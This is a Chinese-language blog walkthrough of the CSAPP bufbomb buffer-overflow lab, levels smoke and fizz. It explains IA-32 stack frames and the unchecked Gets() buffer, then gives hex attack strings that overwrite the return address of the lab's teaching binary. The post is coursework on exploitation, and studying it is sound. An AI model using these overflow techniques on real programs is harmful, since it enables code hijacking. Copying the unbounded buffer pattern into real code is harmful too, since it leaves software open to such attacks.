CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(上)smoke fizz


前言

完成這個實驗大概花費一天半的時間,看了很多大佬的博客,也踩了很多的坑,於是打算寫一篇博客重新梳理一下思路和過程,大概會有兩篇博客吧。

 

CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(上)smoke fizz

CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(下)bang boom kaboom

 

lab3要我們做這樣一件事情,修改一個正在運行程序的stack以達到預期的目的。具體的修改方式是這樣的:程序定義了一個局部C風格字符串變量,注意局部變量是放在stack上面的,所以當初始化這個字符串為用戶輸入,而又沒有邊界檢查的話,就會緩沖區溢出,那么就會破壞這個函數棧。

就像下面這個函數會破壞自己的函數棧:

#define NORMAL_BUFF_SIZE 32
int getbuf()
{
    char buf[NORMAL_BUFF_SIZE];
    Gets(buf);
    return 1;
}

 

會破壞到什么程度呢?如果用戶輸入太大,那么就把saved ebp給覆蓋掉了;再大一點,就把return address覆蓋掉了…沒錯,這個lab的精髓就是要讓我們的輸入來覆蓋return address達到return到代碼的其它地方執行!!!

ESP(Extended Stack Pointer)為擴展棧指針寄存器,是指針寄存器的一種,用於存放函數棧頂指針。與之對應的是EBP(Extended Base Pointer),擴展基址指針寄存器,也被稱為幀指針寄存器,用於存放函數棧底指針。

ESP為棧指針,用於指向棧的棧頂(下一個壓入棧的活動記錄的頂部),而EBP為幀指針,指向當前活動記錄的底部

 

實驗目的:

通過緩沖區溢出攻擊,使學生進一步理解IA-32函數調用規則和棧幀結構。

實驗技能:

需要使用objdump來反匯編目標程序,使用gdb單步跟蹤調試機器代碼,查看相關內存及寄存器內容,也需要學生掌握簡單的IA32匯編程序編寫方法。

實驗要求:

5個難度等級(0-4逐級遞增)

級別0、Smoke(candle):構造攻擊字符串作為目標程序輸入,造成緩沖區溢出,使目標程序能夠執行smoke函數。


級別1、Fizz(sparkler):構造攻擊字符串作為目標程序輸入,造成緩沖區溢出,使目標程序能夠執行fizz函數;fizz函數含有一個參數(cookie值),構造的攻擊字符串應能給定fizz函數正確的參數,使其判斷成功。


級別2、Bang(firecracker):構造攻擊字符串作為目標程序輸入,造成緩沖區溢出,使目標程序能夠執行bang函數;並且要篡改全局變量global_value為cookie值,使其判斷成功。因此,需要在緩沖區中注入惡意代碼篡改全局變量。


級別3、Boom(dynamite):前面的攻擊都是使目標程序跳轉到特定函數,進而利用exit函數結束目標程序運行。Boom要求攻擊程序能夠返回到原調用函數test繼續執行,即要求攻擊之后,還原對棧幀結構的破壞。


級別4、kaboom(Nitro):本攻擊需要對目標程序連續攻擊n=5次,但每次攻擊,被攻擊函數的棧幀內存地址都不同,也就是函數的棧幀位置每次運行時都不一樣。因此,要想辦法保證每次都能夠正確復原原棧幀被破壞的狀態,使程序每次都能夠正確返回。

從這個等級的命名我們也能窺探到一些端倪,candle 蠟燭,sparkler 煙火,firecracker 爆竹,dynamite 火葯,Nitro 硝化甘油這一套命名規則顯然讓我們想起來lab2的拆彈實驗,可見級別越高威力必然也就越大。而另外一套命名規則顯然是從效果來看的,Smoke 冒煙,Fizz 劈啪作響,Bang 怦然巨響,Boom 隆隆作響,kaboom 大炸裂,果然有點意思。

文件夾內容

本實驗的數據包含於一個文件夾buflab-handout.tar中。下載該文件到本地目錄中,然后利用“tar –xvf buflab-handout.tar”命令將其解壓。

bufbomb:實驗需要攻擊的目標程序bufbomb。
bufbomb.c:目標程序bufbomb的主源程序。本校的實驗中沒有給出,但老師給的ppt上有。
makecookie:該程序基於你的學號產生一個唯一的由8個16進制數字組成的4字節序列(例如0x5f405c9a),稱為“cookie”。
hex2raw:構建的攻擊字符串中可能包含不可打印字符,很難通過鍵盤輸入,提交結果時,一般將結果放置在一個答案txt文件中(攻擊字符串以可顯示的16進制形式存儲),在輸入給bufbomb之前,需要使用hex2raw將其轉換成原始的(raw)數據。


其中結果提交和驗證時,均需要使用到bufbomb,其使用方法(-h查看幫助):

h:查看幫助;
u:學生標識;-u要求我們輸入一個唯一的userid,根據不同的userid生成不同的cookie值,這里我使用的userid是stu
n:對於級別4(nitro/kaboom),需要加此參數,被坑了很久,一定要加上此參數!!
s:驗證正確性的同時,將結果提交到服務器(如果驗證正確);

實驗步驟及操作說明

准備工作

使用objdump -d命令將其反匯編到bufbomb.asm。

 objdump -d bufbomb > bufbomb.asm

使用makecookie,生成用戶的Cookie,后面解題都要用到這個Cookie:

0~3關:

攻擊test()下getbuf()

 

第4關(Nitro/kaboom):

循環調用5次,
攻擊testn() 下getbufn()

第0關:smoke

構造攻擊字符串作為目標程序輸入,造成緩沖區溢出,使目標程序能夠執行smoke函數。

源碼:

#define NORMAL_BUFFER_SIZE 32
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}
//Smoke源碼:
void smoke()
{
    puts("Smoke!: You calledsmoke()");
    validate(0);
    exit(0);
}

我們的目標是調用上面的getbuf()以后,不正常返回,而是跳掉smoke這個函數的地方執行。

先看一下smoke的反匯編代碼:

smoke函數的地址:0x8048c28

getbuf函數對應的棧還是上面那個棧的圖:

 

buf只有0x28字節長度。

接下來,只要構造0x28(buf)+4(ebp)+4(return address)=48字節長度的字節碼就可以將返回地址覆蓋,最后四個字節的內容放smoke函數的地址保證返回地址是被smoke函數的地址覆蓋,因為是小端存儲(是指數據的高字節保存在內存的高地址中,而數據的低字節保存在內存的低地址中),也就是:28 8c 04 08,前面44個字節任意這里我放一些00

 也就是:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
28 8c 04 08

將其保存到一個txt文件中,用管道輸入,通過hex2raw之后輸入bufbomb程序。

完成!

 

第1關:fizz

構造攻擊字符串作為目標程序輸入,造成緩沖區溢出,使目標程序能夠執行fizz函數;fizz函數含有一個參數(cookie值),構造的攻擊字符串應能給定fizz函數正確的參數,使其判斷成功。

還是上面的test函數和getbuf函數,這里就給出fizz源碼:

void fizz(int val)
{
    if (val == cookie)
    {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    }
    else
        printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}

這一關和第0關類似,最大的區別是這次要跳到fizz這個函數有個參數,我們在輸入里需要偽造出函數的參數。

先看一下fizz的反匯編代碼:

fizz函數的地址:0x08048c52 即( 52 8c 04 08)

在fizz函數代碼里有這樣兩句:

 mov    0x8(%ebp),%eax
 cmp    0x804d108,%eax

其中0x8(%ebp)就是函數的第一個參數,而0x804d108這個內存地址保存着cookie的值,然后這兩個值期望是一樣的,這個位置就是我們要放cookie的位置。也就是說參數是放到了返回地址的上面,並且和返回地址相鄰。同第0關一樣,先用fizz函數地址覆蓋掉getbuf返回地址,可以執行fizz函數,並且要將fizz函數的返回地址覆蓋掉,並用cookie覆蓋掉上面的參數。這樣就可以跳轉到fizz函數,並且在跳轉后自己取到cookie作為參數,fizz函數的返回地址可以用任意四個字節的數覆蓋,這里00 00 00 00覆蓋掉,其作用只是用來占位。

也就是:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
52 8c 04 08 /*fizz 函數地址*/
00 00 00 00/*fizz return address */
94 25 80 4f /*Cookie: 0x4f802594*/

將其保存到一個txt文件中,用管道輸入,通過hex2raw之后輸入bufbomb程序。

完成!

 

CSAPP lab3 bufbomb-緩沖區溢出攻擊實驗(下)bang boom kaboom


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM